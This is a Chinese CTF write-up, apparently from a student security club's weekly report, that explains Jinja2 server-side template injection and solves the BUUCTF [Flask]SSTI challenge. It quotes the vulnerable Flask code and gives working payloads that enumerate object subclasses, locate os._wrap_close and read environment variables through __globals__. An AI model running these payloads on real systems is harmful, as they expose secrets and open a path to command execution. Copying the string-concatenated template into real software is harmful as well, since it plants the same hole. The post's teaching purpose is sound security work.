文章总结: 本文深入讲解服务器端模板注入SSTI的原理与危害,阐述Python类继承体系及魔术方法在漏洞利用中的作用。结合BUUCTF实战案例,详细演示了从漏洞检测到利用继承链定位危险类并执行命令获取Flag的全过程。文档结构清晰,理论与实操结合紧密,为理解SSTI利用链提供了直观指导。 综合评分: 87 文章分类: CTF,WEB安全,漏洞分析
网安社团周报 Week4 – SSTI(模板注入)
原创
小志z 小志z
志在片语
2026年3月6日 19:51 山东
经常用AI做这个类型的题 但是不太懂背后的原理 正好趁着周报学习方向是这个学一下下!
理解 SSTI
什么是SSTI(模板注入)
SSTI(Server-Side Template Injection,服务器端模板注入) 是一种安全漏洞,攻击者可以通过向模板中注入恶意代码,在服务器端执行任意命令。
简单来说,就是当网站使用模板引擎(如Jinja2、Twig、Freemarker等)渲染用户输入的内容时,如果没有对用户输入进行严格的过滤和验证,攻击者就可以通过特殊的语法注入模板代码,从而控制模板的执行逻辑。
SSTI的危害有多大?
SSTI的危害取决于模板引擎的功能和沙箱环境,可能造成:
- 信息泄露:读取敏感文件(/etc/passwd、配置文件等)
- 命令执行:在服务器上执行系统命令
- 反弹Shell:获取服务器的控制权
- 内网探测:利用服务器作为跳板攻击内网
- 数据篡改:修改数据库内容
常见的Python模板引擎
| 模板引擎 | 使用框架 | 语法特点 |
| — | — | — |
| Jinja2 | Flask, Django(可选) | {{ }} 表达式,{% %} 语句 |
| Mako | Pyramid | ${ } 表达式,<% %> 语句 |
| Tornado模板 | Tornado | {{ }} 表达式,{% %} 语句 |
| Django模板 | Django | {{ }} 表达式,{% %} 语句 |
继承关系
基础概念
在理解SSTI漏洞利用原理之前,我们需要先了解Python中类、对象和继承的基本概念。因为大多数SSTI的payload都利用了Python的MRO(Method Resolution Order,方法解析顺序)和继承链来获取危险函数。
class Animal:
def __init__(self, name):
self.name = name
def speak(self):
returnf"{self.name}发出声音"
class Dog(Animal):# Dog继承自Animal
def speak(self):
returnf"{self.name}汪汪叫"
# 创建对象
dog = Dog("旺财")
print(dog.speak()) # 输出:旺财汪汪叫
在这个例子中:
Animal是父类(基类)Dog是子类(派生类),继承了Animal的所有属性和方法dog是Dog类的实例对象
Python中的类继承体系
Python中所有的类都有一个共同的祖先——object类,关系图大概如下
object
↑
Animal
↑
Dog
↑
my_dog_instance(实例对象)
重要概念:
- 任何类都直接或间接继承自
object - 实例对象可以通过
__class__属性找到它的类 - 类可以通过
__bases__属性找到它的父类 - 类可以通过
__mro__属性查看继承链
SSTI中常用的魔术方法
理解什么是魔术方法?
在SSTI利用过程中,我们经常使用以下魔术方法来”向上爬”继承链:
| 魔术方法 | 作用 | 示例 |
| — | — | — |
| __class__ | 返回当前实例所属的类 | "".__class__ |
| __bases__ | 返回类的父类组成的元组 | "".__class__.__bases__ |
| __mro__ | 返回类的继承顺序元组 | "".__class__.__mro__ |
| __subclasses__() | 返回类的所有子类列表 | object.__subclasses__() |
| __globals__ | 返回函数所在全局命名空间的字典 | func.__globals__ |
| __builtins__ | 返回内置函数和异常的字典 | __builtins__ |
用一个简单的代码理解继承链:
# 创建一个字符串对象
s = "Hello SSTI"
# 查看它的类
print(s.__class__) # <class 'str'>
# 查看str类的父类
print(s.__class__.__bases__) # (<class 'object'>,)
# 查看完整的继承链
print(s.__class__.__mro__)
# (<class 'str'>, <class 'object'>)
# 从str类找到object类
obj_class = s.__class__.__bases__[0] # object类
print(obj_class) # <class 'object'>
# 查看object类的所有子类
print(len(obj_class.__subclasses__())) # 数量取决于环境
输出结果如下
# 查看字符串对象的类
<class 'str'>
# 查看str类的父类
(<class 'object'>,)
# 查看完整的继承链
(<class 'str'>, <class 'object'>)
# 从str类找到object类
<class 'object'>
# 查看object类的所有子类
173
继承关系可视化
object (根类)
/ | \
/ | \
str int list ...
↑
s = "Hello SSTI" (实例)
万物皆对象
- 字符串
"Hello SSTI"是一个对象 - 它的类
str也是一个对象 - 根类
object也是一个对象
根类连接万物
object有173个子类(包括str、int、list等)- 通过这些子类,我们可以访问到Python环境中的所有类
概念听不懂?以CTF题学习SSTI原理 – BUUCTF [Flask]SSTI
后端代码含义
打开网页如下图所示 会回显Hello Guest
查看一下后端的代码 来了解一下原理
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
代码逐行分析:
name = request.args.get('name', 'guest')
- 从URL参数中获取
name的值,如果没有提供则默认为’guest’ - 例如:访问
/?name=张三,那么name = "张三"
t = Template("Hello " + name)漏洞点
- 这里使用字符串拼接创建模板:
"Hello " + name - 如果name是普通字符串,比如”张三”,那么模板就是
"Hello 张三" - 但如果name中包含模板语法,比如
{{7*7}},那么模板就变成"Hello {{7*7}}"
return t.render()
- 渲染模板,执行其中的模板代码
关于Python表达式
表达式是Python代码中可以计算出值的任何片段。简单来说,就是”有结果”的代码
在Jinja2模板的{{ ... }}中,可以写任何有效的Python表达式,但不能写语句。
例如可以写的表达式有
{{ 7 * 7 }} # 算术表达式
{{ "Hello".upper() }} # 方法调用
{{ [1,2,3][0] }} # 列表索引
{{ user.name }} # 属性访问
{{ user['name'] }} # 字典取值
{{ max([1,5,3]) }} # 函数调用
{{ name|upper }} # 过滤器(Jinja2特有)
不能写的(语句)
{{ x = 5 }} # 赋值语句(不能写)
{{ if True: }} # if语句(不能写)
{{ for i in range(10): }} # for语句(不能写)
{{ def func(): }} # 函数定义(不能写)
{{ import os }} # 导入语句(不能写)
开始解题!
测试是否存在SSTI漏洞
先访问访问 /?name={{7*7}} 发现回显49 确认存在SSTI漏洞
理解利用链的思路
我们的目标是命令执行,但直接写{{os.system('ls')}}是不行的,因为:
- 模板环境中默认没有导入
os模块 - 我们需要从已有的对象出发,找到可以执行命令的方法
思路:从任意对象开始 → 找到它的类 → 找到父类(object) → 找到所有子类 → 在子类中寻找可以执行命令的类(如os._wrap_close、subprocess.Popen等)
尝试进行查类
尝试访问 ?name={{%20[].class.base.subclasses()}} 但是回显如下
这个payload理论上应该返回所有子类
打开F12可以看到所有的类都显示出来了 只不过可能因为是网页是层级关系显示的 而且没有索引号
没办法直接通过类名访问 但是可以通过索引号访问 所以一般情况查到类名之后就要去查索引号
可以通过以下方法实现顺带着查询索引号
没错 这个也可以使用for循环!
?name={% for c in [].__class__.__base__.__subclasses__() %}{{ loop.index0 }}:{{ c }}<br>{% endfor %}
| 代码片段 | 含义 | 作用 |
| — | — | — |
| {% for c in ... %} | for循环语句 | 遍历子类列表中的每一个类,赋值给变量c |
| [].__class__.__base__.__subclasses__() | 获取所有子类 | 从空列表出发,找到object基类的所有子类 |
| {{ loop.index0 }} | 输出当前索引 | loop.index0 是Jinja2内置变量,表示当前循环次数从0开始 |
| : | 分隔符 | 让输出格式为 索引:类,便于阅读 |
| {{ c }} | 输出当前类 | 显示当前遍历到的类 |
| <br> | HTML换行 | 让每个类显示在新的一行,避免挤在一起 |
| {% endfor %} | 结束循环 | 标记循环结束 |
然后搜索一下os. 就能看到索引为117!
拿到索引号使用getflag
先确认 117 确实是 os._wrap_close
?name={{ [].__class__.__base__.__subclasses__()[117].__name__ }}
返回 发现没问题!
查看这个类所有可用的全局变量
?name={{ [].__class__.__base__.__subclasses__()[117].__init__.__globals__.keys() }}
我们找到其中的 environ 查询环境变量 因为ctf中很多时候环境变量里面就有flag 就不用比较麻烦的去别处找了
?name={{ [].__class__.__base__.__subclasses__()[117].__init__.__globals__.environ }}
成功Getflag!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:志在片语 小志z 小志z《网安社团周报 Week4 – SSTI(模板注入)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论